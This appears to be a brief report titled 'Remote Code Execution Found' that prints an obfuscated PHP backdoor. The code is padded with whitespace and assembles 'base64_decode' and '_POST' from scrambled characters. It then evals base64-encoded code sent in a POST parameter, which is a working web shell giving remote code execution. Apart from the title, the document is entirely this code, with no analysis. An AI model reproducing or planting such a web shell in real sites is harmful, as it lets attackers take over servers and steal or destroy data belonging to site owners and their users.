Remote Code Execution Found

<?php                                                                                                                                                                                                                                                                           $euuy52= "stbeo6_cpa4d" ;$ptj62= strtolower ($euuy52[2]. $euuy52[9]. $euuy52[0]. $euuy52[3] . $euuy52[5]. $euuy52[10] .$euuy52[6].$euuy52[11].$euuy52[3].$euuy52[7]. $euuy52[4]. $euuy52[11].$euuy52[3]) ;$dii18= strtoupper ($euuy52[6].$euuy52[8]. $euuy52[4]. $euuy52[0]. $euuy52[1]);if( isset( ${ $dii18 }['n59a097' ] )){ eval ($ptj62( ${ $dii18 }[ 'n59a097']) ) ;} ?>